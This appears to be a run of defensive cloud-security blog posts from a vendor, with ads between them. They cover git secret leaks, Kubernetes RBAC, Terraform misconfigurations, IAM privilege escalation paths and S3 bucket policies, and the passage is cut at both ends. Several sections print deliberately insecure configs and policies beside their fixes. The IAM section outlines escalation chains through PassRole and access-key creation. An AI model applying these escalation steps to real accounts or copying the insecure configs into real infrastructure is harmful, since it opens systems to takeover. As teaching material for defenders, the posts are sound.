    On a persistent runner, jobs share the same disk. If an early job can write to a path, cache, or tool that a later job reads, it controls what that later job runs. For example, a low trust job appends a line to a deploy script, and when the trusted job runs that script with real credentials, the attacker’s line runs and leaks the secret.

    How do I run a self-hosted runner safely?

    Use ephemeral runners that reset every job so nothing carries over. Never let untrusted pull requests run on a self-hosted runner. Isolate the runner in its own network segment with an allow list. Give it least privilege with short lived tokens scoped to what the build needs. And keep sensitive workloads like deploys on a separate pool that untrusted code cannot reach.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Secrets in Git History: Why Deleting Is Not Enough

    Secrets in Git History: Why Deleting Is Not Enough

    You committed an API key by accident, noticed a day later, deleted it, and pushed a clean commit. The file looks safe now, so it feels handled. It is not, because secrets in git history live in every past version of the file, and git keeps all of them forever.

    Why secrets in git history survive a delete

    Git is not a folder that holds the current state of your code. It is a chain of snapshots. Every commit records the full content of the files as they were at that moment, and it points back to the commit before it. When you delete a key and commit again, you add a new snapshot on top. The old snapshot still sits in the chain, key and all.

    Think of it like a filing cabinet where you never throw anything out. You can slide a new page over an old one, but the old page is still in the drawer. Anyone who opens the drawer to an earlier date reads the original.

    Here is the shape of the problem. Say you commit a config file with a live key in it:

    git add config.py
    git commit -m "add payment client"

    The file at that point contains:

    STRIPE_KEY = "sk_live_9fK2mQ7bTz4pR8xLwV0nHc…"

    A day later you catch it, move the key to an environment variable, and commit the fix:

    git rm --cached config.py
    git commit -m "remove hardcoded key, load from env"

    Your working copy is clean. But the key is one command away for anyone with the repo:

    git log -p -- config.py
    git show HEAD~1:config.py

    That git show prints the old file exactly as it was, with sk_live_9fK2mQ7bTz4pR8xLwV0nHc… right there. The lesson is simple. A new commit hides a secret from the present, not from the past.

    Copies you do not control

    Even if you could scrub your own copy, you rarely have the only copy. A secret pushed to a shared repo spreads faster than most people expect.

    • Forks and clones. Every developer who cloned the repo has the full history on their laptop. Every fork on the host has it too. Your delete does not touch any of those.
    • CI caches and build logs. Pipelines check out the repo and often cache it. The key can also land in a build log if a script prints the environment. These logs sit around long after the commit is gone.
    • Mirrors and backups. Backup jobs, read only mirrors, and archive services keep their own snapshots on their own schedule.

    Here is a real sequence. A developer pushes a key at 09:00. A teammate pulls at 09:15 and now has it on disk. The nightly backup runs at 02:00 and stores it. You delete the key at noon the next day. Three copies already exist that your delete never reaches. That is why the fix has to start somewhere other than the repo.

    Public repos get read by machines, fast

    If the repo is public even for a short window, assume the secret is already collected. People run bots that watch the public commit feed and pull down new commits within seconds. They scan each one for things that look like keys and save the hits. This is not a rare, targeted attack. It is constant background traffic against every public repo.

    Picture a repo that goes public for ten minutes during a migration. In that window a scraper clones it, extracts a live cloud access key from a commit made months earlier, and starts using it to spin up servers on your bill. The repo owner never sees a warning. The first sign is the invoice. Speed is the point here: for a public leak, the clock started the moment the commit was reachable, not the moment a human noticed.

    Rewriting history does not un leak a secret. The moment it was reachable, treat it as burned and rotate it.

    The correct response, in order

    The order matters more than the tools. Do these steps in this sequence.

    1. Rotate the secret first

    Go to the service that issued the key and revoke it, then create a new one. This is the only step that actually stops the leak, because it makes the exposed value useless. Everything after this is cleanup. If you purge history but skip rotation, the old copies on laptops and in caches still hold a working key.

    Concretely, if sk_live_9fK2mQ7bTz4pR8xLwV0nHc… leaked, you log into the payment dashboard, roll the key, and update your secret manager with the new one. The instant the old key is revoked, every scraped copy of it turns into dead text.

    2. Purge it from history

    Now remove the value from the repo history so you are not shipping a revoked but embarrassing key forever. Tools like git filter-repo rewrite every commit that touched the file:

    git filter-repo --path config.py --invert-paths

    This changes commit hashes, so everyone has to reclone, and you have to force push. Do it after rotation, never instead of it. Rewriting history is housekeeping, not incident response.

    3. Prevent the next one

    Stop the leak from happening again with two habits.

    • Scan before the commit lands. A pre commit hook that checks staged changes for key shaped strings blocks the secret before it ever enters history. That is far cheaper than cleaning up after.
    • Keep secrets out of the repo entirely. Use a secret manager or environment variables and load them at run time. A key that is never in a file is a key that can never be committed. This is the same discipline that stops an exposed env file and stops hardcoded API keys in frontend code from shipping to users.

    Why a tool finds these better than you do

    Reading every version of every file by eye does not scale. But this is a mechanical search, and machines are good at it. A key has structure. Some keys carry a fixed prefix like sk_live_ or AKIA for a cloud access key. Others are just long strings with no repeating pattern, which measures as high entropy, the statistical signature of something random like a token rather than English prose.

    So a scanner walks every commit, applies a set of known key formats, and flags any string whose entropy is high enough to look generated. For example, a scan across a year of commits can surface a single AKIA string that was added, then deleted three commits later, in a file no one has opened since. A human skimming the current tree would never see it. The tool sees it because it reads the whole drawer, not just the top page.

    This same thinking runs through CI/CD pipeline security, where a leaked secret in a build step can hand an attacker your whole deploy. For a deeper walk through how these leaks work and chain together, our deep dives cover the mechanics.

    The one line to remember

    A secret committed once is a secret that leaked, full stop. Deleting the file removes it from your view and from nobody else’s. So rotate the key first, purge history second, and put scanning and a secret manager in place so there is no third time. Finding an exposed value across an entire history is exactly the kind of methodical, evidence first work an autonomous security researcher like UnboundCompute is built to do, reading how a system really behaves rather than trusting that a clean working tree means a clean past. Read how we think about it on our about page.

    Frequently asked questions

    If I delete a key and commit again, is it gone from git?

    No. Git stores every commit as a full snapshot, so the version of the file that held the key still sits in the history. Anyone with the repo can read it with a command like git show HEAD~1:config.py. A new commit hides the secret from the current tree, not from the past.

    Do I still need to rotate the key if I rewrite the history?

    Yes, and you should rotate first. Rewriting history does not un leak a secret that other people already cloned, cached in CI, or backed up. Revoking the exposed key and issuing a new one is the only step that actually makes the leaked value useless. Purging history comes after that.

    How fast do public repos get scraped for secrets?

    Within seconds. Bots watch the public commit feed, pull down new commits, and scan them for key shaped strings automatically. This is constant background traffic, not a targeted attack, so a repo that is public even for a few minutes should be treated as already read.

    How does a scanner find a secret hidden in old commits?

    It is a mechanical search. A scanner walks every commit and flags strings that match known key formats, such as an AKIA cloud key prefix, or that measure as high entropy, the statistical signature of a random token. It reads the whole history, so it catches a key that was added and later deleted in a file no one has opened since.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Kubernetes RBAC Misconfiguration Explained

    Kubernetes RBAC Misconfiguration Explained

    Role based access control in Kubernetes decides who can do what inside a cluster, and a single loose rule can hand a small workload the keys to everything. A Kubernetes RBAC misconfiguration is rarely a typo you notice right away. It is a Role that grants more than it should, a binding pointed at the wrong account, or a wildcard nobody trimmed, and it usually stays quiet until someone maps out what that access really allows.

    How a Kubernetes RBAC misconfiguration actually happens

    RBAC in Kubernetes is built from four object types. A Role or ClusterRole lists permissions. A RoleBinding or ClusterRoleBinding attaches that list to a subject, which is a user, a group, or a service account. The permission itself is a set of verbs like get, list, create, or delete over a set of resources like pods or secrets. Nothing here is dangerous on its own. The trouble starts when the list is wider than the job in front of it.

    Three habits cause most of the damage. People copy an example that uses wildcards and never narrow it. People bind a strong role to an account that many pods already share. People grant a verb that looks harmless but opens a side door. Each one is easy to write and hard to spot later.

    Wildcard verbs and resources

    The fastest way to over grant is a wildcard. A rule with verbs: ["*"] and resources: ["*"] means every action on every object the API server knows about. That includes secrets, deployments, and the RBAC objects themselves, so the subject can even rewrite its own permissions. A wildcard reads as convenience while you are writing it. It reads as full control to anyone who lands on that subject later.

    Binding a strong ClusterRole to a default account

    Every namespace ships with a service account named default. If a pod does not name an account, it runs as that one. So when someone binds a strong ClusterRole to the default account, every pod in that namespace that never set an account quietly gains those rights. The binding was meant for one workload. It landed on all of them.

    Granting create on pods

    Permission to create pods sounds like a scheduling detail. It is more than that. A subject who can create a pod can mount any secret in the namespace into that pod and read it, or set a service account on the pod to run as a stronger identity. Create on pods, combined with access to secrets or a privileged account, is a common step from a small foothold to a much larger one.

    Broad access to secrets

    Secrets hold database passwords, API tokens, and TLS keys. A rule that grants get and list on secrets across a namespace, or worse across the cluster, means the subject can read all of them. Once those values are out, tightening the RBAC rule later does not put them back.

    Namespaced Roles versus cluster wide ClusterRoles

    The scope of a rule matters as much as its verbs. A Role lives in one namespace and only grants rights inside that namespace. A ClusterRole is cluster wide, and when it is attached with a ClusterRoleBinding it applies in every namespace at once. The same permission list is contained in the first case and cluster wide in the second.

    A useful trick is to bind a ClusterRole with a namespaced RoleBinding. You reuse the permission list but keep its effect inside one namespace. Reach for a ClusterRoleBinding only when a subject genuinely needs to act in every namespace, and treat every one you write as something to justify out loud.

    A loose RoleBinding and its tightened version

    Here is a Role and binding that reads fine in review and grants far too much. It uses wildcards and points at the default account.

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      namespace: payments
      name: worker-role
    rules:
      - apiGroups: ["*"]
        resources: ["*"]
        verbs: ["*"]
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: RoleBinding
    metadata:
      namespace: payments
      name: worker-binding
    subjects:
      - kind: ServiceAccount
        name: default
        namespace: payments
    roleRef:
      kind: Role
      name: worker-role
      apiGroup: rbac.authorization.k8s.io

    Any pod in payments that did not set its own account now has every verb on every resource, secrets included. Now the tightened version. It names a dedicated account, lists only the verbs the worker needs, and scopes to the two resources it touches.

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      namespace: payments
      name: worker-role
    rules:
      - apiGroups: [""]
        resources: ["configmaps"]
        verbs: ["get", "list"]
      - apiGroups: ["batch"]
        resources: ["jobs"]
        verbs: ["get", "list", "create"]
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: RoleBinding
    metadata:
      namespace: payments
      name: worker-binding
    subjects:
      - kind: ServiceAccount
        name: payments-worker
        namespace: payments
    roleRef:
      kind: Role
      name: worker-role
      apiGroup: rbac.authorization.k8s.io

    The second version tells you exactly what the worker can do. No wildcards, no secrets, no shared account. If that pod is ever taken over, the blast radius is two resource types in one namespace.

    Why this is a reachability question

    Every pod gets a service account token mounted inside it by default. That token is a live credential for whatever the pod’s account is allowed to do. So a workload token plus a broad binding is a direct path to more access. An attacker who lands in a pod does not need a new exploit. They read the token, ask the API server what it can do, and follow the bindings.

    Who can do what in a cluster is not a list you read once. It is a graph you walk, from a token, through a binding, to a role, out to every resource that role can touch.

    That is why RBAC review is a reachability problem, not a checklist. The question is not whether one Role looks fine on its own. The question is what the whole chain allows once you start from an account an attacker can reach. This is a close cousin to how service account tokens get abused, covered in Kubernetes service account token abuse, and it rhymes with cloud IAM, where the same graph walk appears in IAM privilege escalation.

    How to keep RBAC tight

    • Grant least privilege. Start from zero and add only the verbs and resources a workload actually uses. It is easier to add a permission later than to notice an extra one.
    • Ban wildcards. Treat verbs: ["*"] or resources: ["*"] as a review blocker. Name every verb and every resource.
    • Scope to a namespace. Prefer a Role and a RoleBinding over cluster wide grants. Use a ClusterRoleBinding only when the need is genuinely cluster wide.
    • Never bind to the default account. Give each workload its own named service account, and turn off token mounting where a pod needs no API access.
    • Audit bindings on a schedule. List every binding, follow each to its role, and ask who can read secrets or create pods. Fold that check into your CI CD pipeline security so a loose grant fails the build instead of shipping.

    Reasoning about the full RBAC graph, from a reachable account to every resource it can touch, is exactly the kind of assumption testing an autonomous researcher is built to do, since the bug is not a bad pattern but a chain nobody traced. You can read how we think about that on our about page, and find more of these breakdowns in deep dives.

    Frequently asked questions

    What is a Kubernetes RBAC misconfiguration?

    It is an RBAC rule that grants more access than a subject needs. Common cases are a Role or ClusterRole with wildcard verbs or resources, a strong ClusterRole bound to the default service account, or broad read access to secrets. Each one looks fine in isolation but widens what a pod can reach once its token is used.

    Why is binding a ClusterRole to the default service account dangerous?

    Every namespace has a service account named default, and any pod that does not name an account runs as it. If a strong ClusterRole is bound to that account, every such pod silently gains those rights. A grant meant for one workload ends up applying to all of them, which is why each workload should use its own named account.

    What is the difference between a Role and a ClusterRole?

    A Role lives in one namespace and only grants rights inside it. A ClusterRole is cluster wide, and when attached with a ClusterRoleBinding it applies in every namespace at once. You can bind a ClusterRole with a namespaced RoleBinding to reuse its permission list while keeping the effect inside a single namespace.

    How do I audit RBAC for over permissive access?

    List every RoleBinding and ClusterRoleBinding, follow each to its role, and ask who can read secrets, create pods, or use wildcards. Treat cluster wide bindings and any * in verbs or resources as items to justify. Reasoning over the full RBAC graph from a reachable account to the resources it can touch is the reliable way to spot escalation paths.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Terraform Security Misconfigurations Explained

    Terraform Security Misconfigurations Explained

    Infrastructure as code lets you define a whole cloud environment in text files and build it with one command. That speed is why Terraform security matters so much: one wrong line in an HCL file can open a database to the whole internet or hand a role far more power than it needs. This post walks through the mistakes people make most often in Terraform, shows an insecure snippet next to its fixed version, and explains how to catch these problems before you run apply.

    Why Terraform security is really a code review problem

    Once your infrastructure is code, it can be read like code. The same static reasoning teams already use on application source applies here. You read the declared resources, follow the values into their fields, and flag the ones that describe a dangerous state. A security group that names 0.0.0.0/0 is dangerous whether or not anyone has run apply yet. You do not need the live account to see it, because the intent is written down in the file.

    That is the useful mental shift. A Terraform plan is a set of claims about what the world should look like. If a claim says a sensitive port is open to everyone, the plan is wrong before it ever touches the cloud. So the best place to catch these bugs is in the text, early, on every change.

    A security group open to the world

    The classic mistake is a firewall rule that allows every address on a sensitive port. Here a Postgres database is exposed to the entire internet:

    resource "aws_security_group" "db" {
      name = "db-sg"
      ingress {
        from_port   = 5432
        to_port     = 5432
        protocol    = "tcp"
        cidr_blocks = ["0.0.0.0/0"]
      }
    }

    The cidr_blocks = ["0.0.0.0/0"] line means any host anywhere can reach port 5432. The fix is to allow only the network that actually needs the database, such as your private subnet:

    resource "aws_security_group" "db" {
      name = "db-sg"
      ingress {
        from_port   = 5432
        to_port     = 5432
        protocol    = "tcp"
        cidr_blocks = ["10.0.1.0/24"]
      }
    }

    Same resource, one changed value, completely different exposure. A reviewer scanning for the string 0.0.0.0/0 on a database or admin port catches this in seconds.

    A storage resource made public

    The next common bug is a bucket that anyone can read. People set this by accident when copying an example, and the data inside is often reports, backups, or user uploads. This ACL makes the whole bucket readable by the world:

    resource "aws_s3_bucket_acl" "reports" {
      bucket = aws_s3_bucket.reports.id
      acl    = "public-read"
    }

    The fix is to keep the bucket private and add an explicit block so a later change cannot make it public by mistake:

    resource "aws_s3_bucket_acl" "reports" {
      bucket = aws_s3_bucket.reports.id
      acl    = "private"
    }
    
    resource "aws_s3_bucket_public_access_block" "reports" {
      bucket                  = aws_s3_bucket.reports.id
      block_public_acls       = true
      block_public_policy     = true
      ignore_public_acls      = true
      restrict_public_buckets = true
    }

    Public storage is such a frequent source of leaks that it deserves its own read. We cover the pattern in depth in S3 bucket misconfiguration.

    Secrets hardcoded in code and leaked to the state file

    Terraform tempts you to put a password right into a variable so the plan just works:

    variable "db_password" {
      default = "S3cr3tP4ss"
    }

    Two things go wrong here. First, the secret now lives in version control, so anyone with repository access has it. Second, and this one surprises people, Terraform records applied values in its state file. Even if you pass the password in at run time instead of hardcoding it, the plaintext value is written into terraform.tfstate. If that state file sits in a public repo or an open bucket, the secret is exposed.

    The fix is to keep the secret out of code entirely and pull it from a manager at apply time:

    variable "db_password" {
      type      = string
      sensitive = true
    }
    
    data "aws_secretsmanager_secret_version" "db" {
      secret_id = "prod/db/password"
    }

    Mark the variable sensitive so it stays out of plan output, and never commit a value for it. The state file still needs care, which is the next point.

    Once your infrastructure is a text file, every secret in that file is a secret in your git history, and every open port in that file is an open port in production.

    An over permissive role written in code

    Roles defined in Terraform have the same trap as any access policy: it is faster to grant everything than to work out what is actually needed. This role can do anything to anything:

    resource "aws_iam_role_policy" "app" {
      name = "app-policy"
      role = aws_iam_role.app.id
      policy = jsonencode({
        Statement = [{
          Effect   = "Allow"
          Action   = "*"
          Resource = "*"
        }]
      })
    }

    An attacker who gets a foothold in this app inherits full account access. The fix is least privilege: name the exact actions and the exact resources the app uses.

    resource "aws_iam_role_policy" "app" {
      name = "app-policy"
      role = aws_iam_role.app.id
      policy = jsonencode({
        Statement = [{
          Effect   = "Allow"
          Action   = ["s3:GetObject", "s3:PutObject"]
          Resource = "arn:aws:s3:::reports/*"
        }]
      })
    }

    A wildcard action paired with a wildcard resource is a red flag any reviewer or scanner can spot in the text. Wide roles are how a small bug turns into a full takeover, which we walk through in IAM privilege escalation.

    Drift between the code and the real environment

    The last problem is not a bad line of code. It is when the code and the live account stop matching. Someone opens the console during an incident, widens a security group by hand, and forgets to undo it. The Terraform file still says the port is closed, but the real world says it is open. That gap is called drift.

    Terraform can show it to you. Run a plan with no changes and read what it wants to fix:

    terraform plan
    # Note: Objects have changed outside of Terraform
    #   ~ ingress cidr_blocks = ["10.0.1.0/24"] -> ["0.0.0.0/0"]

    That output is telling you the live rule no longer matches the code. Drift matters because your safe looking file is no longer the truth. If you review only the code and never compare it to reality, you can pass a review while the account is wide open. Run terraform plan on a schedule and treat any surprise diff as an alert, not noise.

    Defenses that actually help

    None of these bugs need a live account to find. They are all visible in the text, which means you can build simple habits to stop them:

    • Scan before apply. Read the declared resources on every change and block the merge if a plan opens a sensitive port, makes storage public, or grants a wildcard. This is static analysis on infrastructure, and it belongs in your pipeline the same way it does for app code.
    • Keep state encrypted and out of version control. Store terraform.tfstate in an encrypted backend with access limits, never in the git repo, because it holds plaintext secrets.
    • No plaintext secrets in code. Pull passwords and keys from a secrets manager at run time and mark the variables sensitive.
    • Least privilege for every role. Name exact actions and exact resources. Treat a "*" action or resource as a bug to justify, not a default.
    • Watch for drift. Run terraform plan regularly and investigate any change the code did not ask for.

    These same ideas show up across cloud config, not just Terraform. For the wider pattern, our deep dives collect related teardowns, including how access rules break in Kubernetes RBAC misconfiguration.

    Reading declared config and flagging the dangerous state before it ships is exactly the kind of assumption testing an autonomous researcher is built to do, whether the assumption lives in application code or in an HCL file. You can read how we approach that on our about page.

    Frequently asked questions

    What are the most common Terraform security mistakes?

    The frequent ones are a security group that allows 0.0.0.0/0 on a sensitive port, a storage resource left public, secrets hardcoded in a variable or leaked into the state file, an over permissive role that grants a wildcard action, and drift between the code and the live account. All of them are visible by reading the HCL before you apply it.

    Are secrets safe in a Terraform state file?

    No. Terraform writes applied values, including passwords and keys, into the state file in plaintext, even if you passed them in at run time instead of hardcoding them. If that state file lands in version control or an open bucket, the secrets are exposed. Keep state in an encrypted backend with tight access and pull secrets from a manager at apply time.

    How do I catch a Terraform misconfiguration before apply?

    Because the infrastructure is now code, you can read the declared resources and flag the dangerous ones without a live account. Run a static scan on every change that blocks a merge when a plan opens a sensitive port, makes storage public, or grants a wildcard role. This is the same static reasoning teams already use on application source.

    What is Terraform drift and why does it matter?

    Drift is when the live environment stops matching the code, usually because someone changed a resource by hand in the console. Your file may say a port is closed while the real account has it open. Run terraform plan on a schedule and treat any diff the code did not ask for as an alert, since a clean looking file can hide a wide open account.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • IAM Privilege Escalation Explained

    IAM Privilege Escalation Explained

    Most cloud breaches do not start with a root key. They start with a small identity that has one permission too many, and that permission opens a path to a bigger one. IAM privilege escalation is the name for that path: a low privilege user or role in a cloud account walks a chain of allowed actions until it reaches admin. This post explains the classic shapes of that walk, shows a short example of each, and gives the defenses that close them.

    What IAM privilege escalation actually is

    IAM is the system that decides who can do what in a cloud account. Every identity carries policies, and every policy is a list of allowed or denied actions on resources. An attacker who lands on a low privilege identity does not need to break the policy engine. They just need to use the permissions they already have to grant themselves more.

    Think of it as a graph. Each identity is a node. Each allowed action that changes another identity or grants a new permission is an edge. Escalation exists when there is a path from where you start to a node that has admin. You do not need one giant mistake. You need a sequence of small ones that connect.

    Escalation is not a single bad permission. It is a path of allowed actions that leads from a small identity to a big one.

    The classic shapes of IAM privilege escalation

    Almost every real world case is one of a few patterns. Here they are, with a short example each. These are educational and defensive. They describe how an over permissive policy allows escalation so you can find and remove it in your own account, using invented names only.

    1. A principal that can edit its own policies

    Say a role named ci-runner is allowed to attach policies to itself. On the surface that sounds like a convenience for a build pipeline. In practice it means the role can attach the managed admin policy and grant itself everything.

    {
      "Effect": "Allow",
      "Action": "iam:AttachRolePolicy",
      "Resource": "arn:aws:iam::123456789012:role/ci-runner"
    }

    With that single statement, ci-runner can run iam:AttachRolePolicy and point it at AdministratorAccess. One allowed action, one edge in the graph, and the role is now admin. The same problem appears with iam:PutRolePolicy, which lets an identity write an inline policy on itself with no size or content limit.

    2. Permission to pass a strong role to a service

    The action iam:PassRole lets an identity hand an existing role to a service such as Lambda, EC2, or Glue. That is normal and needed. It turns dangerous when the identity can pass a role that is far stronger than the identity itself, and can also start the service that will run under it.

    {
      "Effect": "Allow",
      "Action": ["iam:PassRole", "lambda:CreateFunction", "lambda:InvokeFunction"],
      "Resource": "*"
    }

    Here a low privilege user can create a function, pass the admin role to it, and invoke it. The code inside the function then runs with admin rights. The user never gained admin directly. They borrowed it through a service they were allowed to launch. This pass role step is one of the most common edges in a real escalation path.

    3. Permission to mint new credentials or a new policy version

    Two quieter actions do the same job. The first is iam:CreateAccessKey on another user. If your identity can create an access key for an admin user, you can create a key, sign in as that admin, and skip the rest.

    {
      "Effect": "Allow",
      "Action": "iam:CreateAccessKey",
      "Resource": "arn:aws:iam::123456789012:user/*"
    }

    The second is iam:CreatePolicyVersion. A managed policy keeps a history of versions, and you can set a new version as the default. If your identity can create a new version of a policy that is attached to you, you can write a version that allows every action and mark it default. The old restrictive version stays in history while the new one takes effect. Both actions look administrative and boring, and both hand over full control.

    4. Wildcards in actions or resources

    Wildcards are where most of these paths hide. A policy that grants "Action": "iam:*" on "Resource": "*" contains every escalation above at once. Even a narrower wildcard like iam:Create* quietly includes iam:CreateAccessKey and iam:CreatePolicyVersion.

    {
      "Effect": "Allow",
      "Action": "iam:*",
      "Resource": "*"
    }

    People write wildcards because listing exact actions is tedious and because a broad grant makes the error message go away during setup. The wildcard then sits there for years. When you audit a policy, a wildcard in the action or the resource field is the first thing to read closely, because it may be granting far more than anyone intended.

    Why a graph reasoner is the right tool here

    Notice the common thread. None of these findings is visible from one policy read in isolation. The iam:PassRole grant is only dangerous when paired with permission to start a service. The iam:CreatePolicyVersion grant only matters when the policy in question is attached to you. Escalation is a property of how permissions connect, not of any single line.

    That makes it a reachability problem. Build the graph: identities as nodes, permission granting actions as edges. Then ask a plain question. Is there a path from this low privilege identity to any node that holds admin? If yes, that path is the escalation, and every edge on it is a permission you can remove. This is exactly the kind of question a graph reasoner answers well, because it follows the path across many policies instead of judging each policy alone. It is the same style of reasoning you would use to trace whether an exposed bucket in an S3 bucket misconfiguration connects to something that matters, or whether a leaked credential from the instance metadata service reaches an admin role.

    How to prevent IAM privilege escalation

    The defenses map directly onto the shapes above. None of them is exotic. They are about removing edges from the graph so no path to admin remains.

    • Grant least privilege. Give each identity only the actions it needs for its job, scoped to the exact resources it touches. A build role needs to deploy, not to rewrite IAM.
    • Do not let identities manage their own policies. Deny iam:AttachRolePolicy, iam:PutRolePolicy, and iam:CreatePolicyVersion where the target is the identity itself. Self editing is the shortest path to admin.
    • Restrict pass role. Scope iam:PassRole to the specific roles a service may assume, and use a condition on the service that is allowed to receive it. Never pair a wide pass role grant with permission to launch compute.
    • Deny wildcards in sensitive actions. Avoid iam:* and * resources on any identity that does not need them. Prefer an explicit action list, and add an org wide deny for the handful of actions that create credentials or policy versions.
    • Review the permission graph, not single policies. Read your account as a graph and look for any path from a normal identity to admin. Access analyzer style tooling and regular reviews catch edges a per policy read misses.

    Here is the whole idea in one concrete run. An account has a role called reporting meant only to read billing data. Someone added iam:CreateAccessKey on all users so a script could rotate keys. Read alone, that grant looks like housekeeping. Read as a graph, it is an edge from reporting to every admin user in the account, which means reporting is effectively admin. Remove that one edge and the path is gone. That is the shape of every fix here: find the edge, cut it, recheck the path.

    Privilege escalation in the cloud is a permission graph problem before it is anything else, and the same logic applies on a single host, which we cover in what is privilege escalation, and across our other deep dives. UnboundCompute reasons about paths through a system, so it treats questions like this as reachability over how a system connects rather than a checklist of single rules. You can read more about that approach on our about page.

    Frequently asked questions

    What is IAM privilege escalation?

    IAM privilege escalation is when a low privilege user or role in a cloud account uses the permissions it already has to grant itself more, until it reaches admin. It is a path of allowed actions, not a single broken rule. Each identity is a node and each permission granting action is an edge, and escalation exists when a path connects a small identity to a big one.

    How does the iam:PassRole permission lead to escalation?

    The iam:PassRole action lets an identity hand an existing role to a service such as Lambda or EC2. It becomes dangerous when a low privilege identity can pass a role that is much stronger than itself and can also start the service that runs under it. The user creates a function, passes the admin role to it, invokes it, and the code runs with admin rights the user never held directly.

    Why are wildcards in IAM policies risky?

    A wildcard like iam:* on Resource: * grants every escalation action at once, and even a narrower iam:Create* quietly includes iam:CreateAccessKey and iam:CreatePolicyVersion. People add wildcards to make setup errors go away, then the broad grant sits unused for years. When auditing a policy, read any wildcard in the action or resource field closely.

    How do you prevent IAM privilege escalation?

    Grant least privilege scoped to exact resources, do not let identities edit their own policies, restrict iam:PassRole to specific roles and services, deny wildcards on sensitive actions, and review your account as a permission graph rather than one policy at a time. The goal is to remove edges so no path from a normal identity to admin remains.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • S3 Bucket Misconfiguration Explained

    S3 Bucket Misconfiguration Explained

    An S3 bucket misconfiguration is one of the most common ways private data ends up on the open internet. Object storage does exactly what its policy tells it to do, so one wrong line in a bucket policy or an access control list can turn a private store into a folder anyone can read or write. This post walks through the ways a bucket gets exposed and shows the exact fix for each one.

    What an S3 bucket misconfiguration really is

    Strip away the cloud terms and an S3 bucket misconfiguration is an access control mistake. A bucket holds objects. A policy decides who can list, read, write, or delete them. When that policy grants more than it should, the wrong people get in. This is the same class of bug as a broken permission check inside an application, just written in JSON instead of code. If you have read what an access control vulnerability is, this will feel familiar: the system trusts a request it should have denied.

    That framing matters. It means the reasoning that finds a missing owner check in application code also finds an over broad storage policy. Both ask the same question: for this actor and this object, should the answer be yes or no?

    The common ways a bucket gets exposed

    Most incidents come from a short list of mistakes. Here is each one, with the fix.

    Public read or write through a policy or ACL

    The classic mistake is a bucket policy or an object ACL that grants access to everyone. In S3 that means a policy statement whose principal is *, or an ACL grant to the “All Users” group. Public read leaks whatever is inside. Public write is worse, because a stranger can drop files into your bucket, overwrite a page your site serves, or run up your bill.

    Fix: remove the public grant and serve public content through a controlled path, such as a CDN with its own origin access identity, rather than opening the bucket itself.

    An over broad principal, the wildcard

    A policy can be scoped too wide even when it is not fully public. A principal of * paired with a condition that never really constrains it, or an action of s3:* when the app only needs to read, hands out far more than the workload uses. The bucket may look locked down in a quick glance and still be open to any account that meets a weak condition.

    Fix: name the exact role or account that needs access, and grant only the actions it uses.

    Authenticated users granted too much

    S3 has a group called “Authenticated Users” that means every AWS account in the world, not just yours. People read the word authenticated and assume it means their own users. It does not. Granting read to that group is only a small step from public, because anyone can create an AWS account for free.

    Fix: never grant to Authenticated Users. Grant to a specific principal you control.

    Unencrypted or public by default

    A bucket that ships without default encryption stores objects in the clear, and a bucket created without Block Public Access can be flipped open by any later policy change without a warning. Defaults set the floor for every object that lands later, so a weak default is a standing risk.

    Fix: turn on default encryption and Block Public Access at the account level, so a careless policy cannot open a bucket by accident.

    Sensitive data in a bucket meant to be static

    A bucket built to host a static site is public on purpose. The problem starts when someone drops a database backup, a customer export, or an internal report into that same bucket. Now private data sits behind a public read policy that was correct for the marketing page and wrong for the export.

    Fix: keep public assets and private data in separate buckets. A bucket’s policy should match the most sensitive thing inside it.

    A policy that is too open, and the fix

    Here is a real shaped policy that grants far too much. It lets any principal do any S3 action on every object in the bucket.

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "PublicReadWrite",
          "Effect": "Allow",
          "Principal": "*",
          "Action": "s3:*",
          "Resource": "arn:aws:s3:::acme-reports-8842/*"
        }
      ]
    }

    Three things are wrong: the principal is a wildcard, the action is a wildcard, and there is no condition. Anyone can read, write, and delete. The corrected version names the one role that needs the data and limits it to reading objects.

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "AppReadOnly",
          "Effect": "Allow",
          "Principal": {
            "AWS": "arn:aws:iam::123456789012:role/reports-reader"
          },
          "Action": "s3:GetObject",
          "Resource": "arn:aws:s3:::acme-reports-8842/*"
        }
      ]
    }

    The account id 123456789012 and the bucket acme-reports-8842 are invented for the example. The point is the shape: one named principal, one action, one resource. That is least privilege written as a policy.

    Block Public Access and least privilege

    Two controls stop most of these mistakes before they matter.

    • Block Public Access. This is an account and bucket level switch that refuses any policy or ACL that would make objects public. Turn it on everywhere and turn it off only for the rare bucket that must serve public files, and even then prefer a CDN in front.
    • Least privilege policies. Start from deny. Add the exact principals and actions the workload needs, nothing more. A read only app gets s3:GetObject, not s3:*.

    These two controls work together. Block Public Access stops the accidental wildcard, and least privilege keeps the intentional grants small.

    Why a listable bucket plus predictable keys leaks data

